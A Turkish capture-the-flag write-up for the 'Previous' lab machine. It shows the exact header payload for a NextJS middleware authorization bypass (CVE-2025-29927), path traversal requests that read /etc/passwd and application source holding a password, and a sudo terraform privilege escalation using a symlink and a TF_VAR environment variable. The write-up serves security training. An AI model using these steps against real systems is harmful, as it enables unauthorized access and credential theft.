Ön Bilgi #

Makine Bilgisi #

Zorluk: Medium

Tip: Linux

Link: Previous

Özet #

Previous makinesinde NextJS middleware bypass (CVE-2025-29927) ile yetkili sayfalara erişildi ve path traversal ile kullanıcı (jeremy) bilgileri alınıp SSH ile user flag elde edildi. sudo ile terraform komutu root yetkisiyle çalıştırılarak symlink ve ortam değişkeni enjeksiyonu ile root flag alındı.

Çözüm #

Bilgi Toplama #

nmap sonuçlarına baktığımızda 22 portunda güncel bir ssh sunucusu ve 80 portunda ise güncel bir web sunucusu görüyoruz. Aynı zamanda TTL değerlerine baktığımızda 63 olduğunu görüyoruz ve bu da makinenin linux makinesi olduğuna dair güçlü bir bilgi veriyor.

┌─[xenon@parrot]─[~/ctf/Previous]
└──╼ $cat nmap/nmap.nmap 
# Nmap 7.94SVN scan initiated Fri Oct 31 18:54:25 2025 as: nmap -sC -sV -oA nmap/nmap 10.129.71.88
Nmap scan report for 10.129.71.88
Host is up (0.013s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://previous.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Oct 31 18:54:33 2025 -- 1 IP address (1 host up) scanned in 7.92 seconds

nmap üzerinde gördüğüm şekilde web sitesi bizi makineni de adı olan previous.htb adresine yönlendiriyor. Bu domaini /etc/hosts dosyamıza ekliyoruz ve web sitesi üzerinde bilgi toplamak üzere siteyi araştırıyoruz.

Web Sitesi #

Öncelikle arkaplanda çalışması için gobuster ile sitenin giriş yapabileceğiz adreslerini araştırıyoruz: gobuster dir -w /opt/SecLists/Discovery/Web-Content/raft-medium-words.txt -u http://previous.htb/ -o gobuster.out

Aynı zamanda ffuf aracı ile sub-domain taraması yapıyoruz: ffuf -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u http://previous.htb -H 'Host: FUZZ.previous.htb' -fs 154 -o ffuf.out

Siteye web tarayıcısı ile giriş yapıp wappalyzer plugin’i aracılığıyla kullanılan web teknolojisine baktığımızda sitenin NextJS v15.2.2 versiyonu ile yazılmış olduğunu görüyoruz. Aynı zamanda sitenin alt tarafında ‘Contact’ adı altında jeremy kullanıcının varlığını görüyoruz, daha sonra ihtiyacımız olma ihtimaline karşın notlarımız arasına kaydediyoruz. Sitenin ortasında Get Started ve Docs linklerini görüyoruz ancak bu linklere tıkladığımızda bizi giriş sayfasına yönlendirmektedir.

NextJS’in bu versiyonu için internette zafiyet araması yaptığımızda CVE-2025-29927 Authorization Bypass zafiyeti olduğunu öğreniyoruz.

CVE-2025-29927 #

Bu CVE’yi araştırdığımızda NextJS middleware’sinin x-middleware-subrequest headerine göre authentication durumunu kontrol ettiğini ve buna göre izin verip vermediğini anlıyoruz. Sorun ise bu headeri user verdiği taktirde ve middleware’ye kadar gelmeyi başarırsa NextJS, request’in authenticated olduğunu düşünüyor.

Bizim kullanacağımız header ise x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware olacaktır. Bu headeri burpsuite ile Proxy/Match and replace özelliği ile requestlerime ekliyorum ve siteye tekrar gidiyorum.

Yetkili Sayfası #

Artık sitenin yetkili kişilerinin erişebileceği /docs ve /api noktalarına erişebiliyorum. Burada docs kısmında ‘Getting Started’ ve ‘Examples’ isimleriyle iki kısım bulunmaktadır.

Getting Started sayfasında kayda değer bir şey bulunmamaktadır, Examples kısmında ise ‘Hello World’ örneği vardır ve bununla birlikte indirme linki bulunmaktadır.

Arbitrary File Read #

İndirme butonu /api/download?example=hello-world.ts uçnoktasından dosyayı indirmektedir. Burada example parametresini değiştirerek Arbitrary File Read zafiyetini kontrol ediyorum.

Basit bir path traversal example=../../../etc/passwd ile passwd dosyasını indirebiliyorum. Bu noktadan sonra yapmam gereken şey File Read ile sistemi çözümlemek ve daha fazla bilgi almak olucak.

Öncelikte Next projesinin dizinini bulmak için package.json dosyasına erişmeye çalışıyorum, ../../package.json ile bu dosyaya erişiyorum; bu, sayede proje dizininin ../../ olduğunu öğreniyorum.

Projenin next start ile başlatıldıktan sonra oluşturulan dosyalara erişmek için üretilmiş .next klasörünün yapısını araştırıyorum ve sitenin kaynak kodunu elde etmeye çalışıyorum.

İlk Erişim #

Biraz araştırma ve deneme-yanılmadan sonra .next/server/pages/api/auth/[...nextauth].js dosyasını buluyorum. Örnek curl komutu:

┌─[]─[xenon@parrot]─[~/ctf/Previous/app]
└──╼ $curl -sq 'http://previous.htb/api/download?example=../../.next/server/pages/api/auth/\[...nextauth\].js' \
> -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' > nextauth.js

Bu dosya içerisinde jeremy kullanıcısının şifresini buluyoruz ve bu şifreyi kullanarak ssh bağlantısı kuruyoruz ve ilk flag’ımızı alıyoruz.

jeremy@previous:~$ wc -c user.txt 
33 user.txt

Yetki Yükseltme #

Sistem üzerinde sudo -l yaptığımızda root kullanıcısı olarak /usr/bin/terraform -chdir\=/opt/examples apply komutunu çalıştırabileceğimiz görüyoruz, bununla birlikte !env_reset flag’ı ile bu komutu çalıştırırken ortam değişkenlerini koruduğumuzu, değişkenlerin sıfırlanmadığını görüyoruz.

!env_reset #

!env_reset flag’ı sudo içerisinde varsa genellikle bash script’i gibi script’lerin eğer execute edeceği binary’lerin değiştirerek istediğimiz binary’yi çalıştırabiliyoruzç

Örnek olarak eğer bir script içinde ’tool’ isimli farazi tool relative olarak verildiyse, yani /bin/tool -x yerine tool -x şeklinde kullanıldıysa sistem bu ’tool’u PATH ortam değişkenimizde arar, bu değişkende bulunduğumuz ortamı öne koyup orada tool isimli bir binary oluşturup kendi kodumuzu çalıştırabiliriz.

Ancak bu makine’yi bu şekilde tamamlamayacağız.

Terraform #

Bu binary ile araştırma yaptığımızda bir tür sistem ortamı test etme tool’u olduğunu görüyoruz. GTFOBins üzerinde araştırdığımızda kullanabileceğimiz hazır bir seçenek göremiyoruz, bu yüzden daha fazla araştırma yapmamız gerekiyor. Kullanmamıza izin verdiği /opt/examples klasörüne girdiğimizde birkaç başka dosya ile birlikte main.tf dosyasını görüyoruz.

jeremy@previous:/dev/shm$ cat /opt/examples/main.tf 
terraform {
  required_providers {
    examples = {
      source = "previous.htb/terraform/examples"
    }
  }
}

variable "source_path" {
  type = string
  default = "/root/examples/hello-world.ts"

  validation {
    condition = strcontains(var.source_path, "/root/examples/") && !strcontains(var.source_path, "..")
    error_message = "The source_path must contain '/root/examples/'."
  }
}

provider "examples" {}

resource "examples_example" "example" {
  source_path = var.source_path
}

output "destination_path" {
  value = examples_example.example.destination_path
}

Bu konfigürasyon dosyasında gördüğümüz üzere ‘source_path’ değişkeninden aldığı path’ı “/home/jeremy/docker/previous/public/examples/hello-world.ts” üzerine kopyalamaktadır. Eğer bu değişleni /root/root.txt‘yi gösterecek şekilde değiştirirsek istediğimiz dosyaya erişebiliriz.

Bunun için terraform’un bir özelliği olan ortam değişkenleri üzerinden değişken aktarmayı kullanacağız. Dökümantasyon sayfasında da yazdığı üzere TF_VAR_name=value ortam değişkeni ile birlikte sisteme değişken aktarabiliriz, zaten daha öncesinde de dikkat ettiğimiz üzere !env_reset flag’ı ile birlikte uyguladığımız ortam değişkenlerinin değişmeyeceğini biliyoruz.

Ancak validation kısmında da gördüğümüz üzere direkt ../../root/root yazarsak iki engele takılacak. Verdiğimiz parametrede hem .. olmamalı hem de /root/examples olmalı. Bunu sağlamak için lnleri kullanacağız.

Exploit #

Linux dosya sisteminde symbolic link’ler ile birlikte bir dosyayı başka bir dosyaya işaret edecek şekilde oluşturabiliriz. Bunun için ln -s <target> <link> komutu ile targete işaret eden dosyayı link olarak oluşturabiliyoruz.

Bizim yazacağımız link ile /root/root.txt dosyasını gösterecektir, link olarak ise /dev/shm/root/examples/flag.txtyi kullanacağız. Bu sayede hem .. kullanmadan hem de /root/examples kullanarak istediğimiz /root/root.txt dosyasına işaret edeceğiz. terraform binary’sine de bu link’i vereceğiz, open syscall’ı bu symlink’i takip edecek ve bize flag’ı verecek.

jeremy@previous:/dev/shm/root/examples$ ln -s /root/root.txt /dev/shm/root/examples/flag.txt
jeremy@previous:/dev/shm/root/examples$ ls -la
total 0
drwxrwxr-x 2 jeremy jeremy 60 Oct 31 21:00 .
drwxrwxr-x 3 jeremy jeremy 60 Oct 31 21:00 ..
lrwxrwxrwx 1 jeremy jeremy 14 Oct 31 21:00 flag.txt -> /root/root.txt
jeremy@previous:/dev/shm/root/examples$ TF_VAR_source_path=/dev/shm/root/examples/flag.txt sudo terraform -chdir=/opt/examples apply

Komutu çalıştırıp onay verdikten sonra flag dosyamıza erişebiliyoruz.

jeremy@previous:/dev/shm/root/examples$ wc -c /home/jeremy/docker/previous/public/examples/flag.txt
33 /home/jeremy/docker/previous/public/examples/flag.txt